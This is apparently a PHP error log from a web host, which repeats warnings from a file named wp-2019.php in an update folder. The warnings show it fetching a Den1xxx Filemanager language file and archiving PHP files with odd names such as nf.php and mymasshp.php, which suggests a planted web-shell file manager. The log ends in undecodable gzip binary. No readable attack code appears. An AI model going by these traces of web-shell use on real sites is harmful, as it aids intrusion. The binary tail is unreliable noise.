[11-Dec-2025 06:38:28 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:28 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:29 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:29 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:30 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:30 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:38:30 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:39:10 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:39:10 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:39:10 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:39:10 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:39:10 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:39:10 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:39:58 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:39:58 UTC] PHP Warning:  Undefined variable $ext in
/home/lmsyaran/public_html/update/wp-2019.php on line 1126
[11-Dec-2025 06:39:58 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:39:58 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:39:58 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:39:58 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:39:58 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:39:58 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:39:59 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:41:31 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:41:31 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:41:33 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:41:33 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:41:33 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:41:33 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:41:35 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:42:00 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:42:02 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:42:02 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:43:04 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:43:04 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:43:06 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:43:22 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:43:23 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:43:23 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:43:24 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:44:25 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:44:25 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:44:27 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:44:27 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:44:27 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:44:28 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:44:53 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:44:54 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:44:55 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:44:56 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:44:57 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:44:57 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:44:58 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:44:58 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:45:08 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:45:09 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:45:10 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:45:11 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:45:11 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:45:33 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:45:33 UTC] PHP Fatal error:  Uncaught
BadMethodCallException: phar
"/home/lmsyaran/public_html/update/nf.php.php.tar.gz" exists and
must be unlinked prior to conversion in
/home/lmsyaran/public_html/update/wp-2019.php:1126
Stack trace:
#0 /home/lmsyaran/public_html/update/wp-2019.php(1126):
PharData->compress()
#1 {main}
  thrown in /home/lmsyaran/public_html/update/wp-2019.php on line 1126
[11-Dec-2025 06:45:33 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:45:33 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:45:33 UTC] PHP Fatal error:  Uncaught
BadMethodCallException: phar
"/home/lmsyaran/public_html/update/wpupp.php.php.tar.gz" exists
and must be unlinked prior to conversion in
/home/lmsyaran/public_html/update/wp-2019.php:1126
Stack trace:
#0 /home/lmsyaran/public_html/update/wp-2019.php(1126):
PharData->compress()
#1 {main}
  thrown in /home/lmsyaran/public_html/update/wp-2019.php on line 1126
[11-Dec-2025 06:45:34 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:45:35 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:45:35 UTC] PHP Fatal error:  Uncaught
BadMethodCallException: phar
"/home/lmsyaran/public_html/update/erfinejd.php.php.tar.gz"
exists and must be unlinked prior to conversion in
/home/lmsyaran/public_html/update/wp-2019.php:1126
Stack trace:
#0 /home/lmsyaran/public_html/update/wp-2019.php(1126):
PharData->compress()
#1 {main}
  thrown in /home/lmsyaran/public_html/update/wp-2019.php on line 1126
[11-Dec-2025 06:45:36 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:45:36 UTC] PHP Fatal error:  Uncaught
BadMethodCallException: phar
"/home/lmsyaran/public_html/update/txets.php.php.tar.gz" exists
and must be unlinked prior to conversion in
/home/lmsyaran/public_html/update/wp-2019.php:1126
Stack trace:
#0 /home/lmsyaran/public_html/update/wp-2019.php(1126):
PharData->compress()
#1 {main}
  thrown in /home/lmsyaran/public_html/update/wp-2019.php on line 1126
[11-Dec-2025 06:45:38 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:46:24 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:46:25 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:46:25 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:46:25 UTC] PHP Fatal error:  Uncaught
BadMethodCallException: phar
"/home/lmsyaran/public_html/update/bba.php.php.tar.gz" exists and
must be unlinked prior to conversion in
/home/lmsyaran/public_html/update/wp-2019.php:1126
Stack trace:
#0 /home/lmsyaran/public_html/update/wp-2019.php(1126):
PharData->compress()
#1 {main}
  thrown in /home/lmsyaran/public_html/update/wp-2019.php on line 1126
[11-Dec-2025 06:46:26 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:46:27 UTC] PHP Fatal error:  Uncaught
BadMethodCallException: phar
"/home/lmsyaran/public_html/update/wp-2019.php.php.tar.gz" exists
and must be unlinked prior to conversion in
/home/lmsyaran/public_html/update/wp-2019.php:1126
Stack trace:
#0 /home/lmsyaran/public_html/update/wp-2019.php(1126):
PharData->compress()
#1 {main}
  thrown in /home/lmsyaran/public_html/update/wp-2019.php on line 1126
[11-Dec-2025 06:46:52 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:46:53 UTC] PHP Fatal error:  Uncaught
BadMethodCallException: phar
"/home/lmsyaran/public_html/update/mymasshp.php.php.tar.gz"
exists and must be unlinked prior to conversion in
/home/lmsyaran/public_html/update/wp-2019.php:1126
Stack trace:
#0 /home/lmsyaran/public_html/update/wp-2019.php(1126):
PharData->compress()
#1 {main}
  thrown in /home/lmsyaran/public_html/update/wp-2019.php on line 1126
[11-Dec-2025 06:46:56 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:46:56 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:47:01 UTC] PHP Fatal error:  Uncaught
BadMethodCallException: phar
"/home/lmsyaran/public_html/update/nsss.php.php.tar.gz" exists
and must be unlinked prior to conversion in
/home/lmsyaran/public_html/update/wp-2019.php:1126
Stack trace:
#0 /home/lmsyaran/public_html/update/wp-2019.php(1126):
PharData->compress()
#1 {main}
  thrown in /home/lmsyaran/public_html/update/wp-2019.php on line 1126
[11-Dec-2025 06:47:01 UTC] PHP Warning:  Undefined variable $ext in
/home/lmsyaran/public_html/update/wp-2019.php on line 1126
[11-Dec-2025 06:47:06 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:47:06 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:47:10 UTC] PHP Fatal error:  Uncaught
BadMethodCallException: phar
"/home/lmsyaran/public_html/update/by.php.php.tar.gz" exists and
must be unlinked prior to conversion in
/home/lmsyaran/public_html/update/wp-2019.php:1126
Stack trace:
#0 /home/lmsyaran/public_html/update/wp-2019.php(1126):
PharData->compress()
#1 {main}
  thrown in /home/lmsyaran/public_html/update/wp-2019.php on line 1126
[11-Dec-2025 06:47:24 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:47:24 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:47:36 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 06:47:36 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 07:41:20 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 07:41:20 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 07:41:20 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 07:41:20 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 07:41:20 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 07:41:20 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
[11-Dec-2025 07:41:20 UTC] PHP Warning: 
file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json):
Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/lmsyaran/public_html/update/wp-2019.php on line 88
nf.php.php.tar.gz000064400000061340151167306040007661
0ustar00���r"��
8�f�Y�N
"�_�Bu��@\%���$�@B�	�ɵN��͏��fk���?f�����+����6<"����s�fv��i��wϩ��Yq��9����z

×���r�i<+�����-���_<uL�#�p(�oB�P(�G��8JEñ��Z}翵�q
j���������~�����ߘǻG�(�<��$n�+��
Ę�؟B%X&'Kca�V8M�%�O�;3�I֘ᔓ&���������TV�)�f��\z�v]~�(O	=s�������nee��N�J��\�_$n�Ƌ���+(}���[(;@ա",5�<1�~ɧ��4~�}ag܆#�_\��Q�TӖ����nÑ,
^���	h~��������x-�����u��K���|�t$DD�5"*j�ފ�Y�pm��A�27╀
	��d�k�K�CY�x	��T�HP�"��<�^�&��^��d*���kFS�<�A�%o_^E���6��H�&O&"o���U��%M�@P�z�{I�v����i8U�eq�)���2�����Zy��3�3ki$�����U�E~���Q?�;�B�Ѱ�D2�^ԅ���}�*o!�7�ť
]���?�9TU?�D�L�����{4�$�����ү�D��S��M`���1\��7hQ��/�X��dQ�xM���f�D���\�i>�+
�p��[ʊ�1s�7h�g��|�dZ�*�q��p*3��罐t*N@�#�E��k���OL>��d3�Bڀ\8�F�U�#5�q��e��|yXΙ<�_���^^3�>l9	-M�!�k<�M�	
"���zX+*Z���	��M���1�w7F
��Tؠ��g�~Ĝ��d�P2��r�4�E�NP����������c
�R%UqI�i�7q~@)��h<����w��/J�?�W����ٚ�r�
8?�)##	Ö����$ꏈo���?~W�7��be
��_x���:�)�	�)��0����<J�;ʷ��\��qu�;�'������\��$UE���F-K*���:B��/�t��8�(q����;�?~Wc�����*e�(�xD�t�%�~��J��2�͕�sl	~W��Fz[���g�Hy�$?��1��Gss7і/5�ʠ���w5�Ջ2�o�GG��ӿ	�'�/}G�j�գ\��Ǹaj3��9�[���*�a�E�,<��Wp{���UU�C�?�]-n�����=�^'�q�ߺg��^��2
�!o��<&ueq��ĹT��f��-9��?�	��<�����T�c���2��d>�]���!���|F�K�#�����5
A~ќ��F����$#	�$c�%u@������Ĩz�I����77$����*�RI�Q�IQa[	O�4��jQ�7�3a�Ȑ��zo�
�/�C_��=�
�\�4�(����%�߭�џ����g=wc�KN�Bۋ���\�4�N���t�W/�ы
�/£�p{�k���)HLD�9D����͢?8���
J/��@Zڹ��q�M(��"�f��@R9T��`�A��	L4��b�Hd��.�����cNTyܲ:��}à�A:�F�5Z(wď9�H_tI�"J��,
L�A�R�E�E��@􆌻m�J*0S�#�G�a�+>~��	ɟ݆
��	*bJ��,<^����
c�:U�0L�
�S!ﯿ
ꋴ^�0|�
��$�Z��L$hv�t���ɖ���7��ș}�5�S@f���8�uG8�y
іij���R��mv���
�t4��5LR�E�������N�h���g,Iә�����/��fҷx��DJ�p£d"�8�h;h/�%�<���h!	cZ�X�k�y����cȺU��d��@�AK�\��m�61�A�7����lT�h�z��]���HV@:niH�d��%�#�|��B;�f������l�x��
RE�<c��<3}4 )h��^@	s[�Y*�n���
�e�����S�L��{�B�
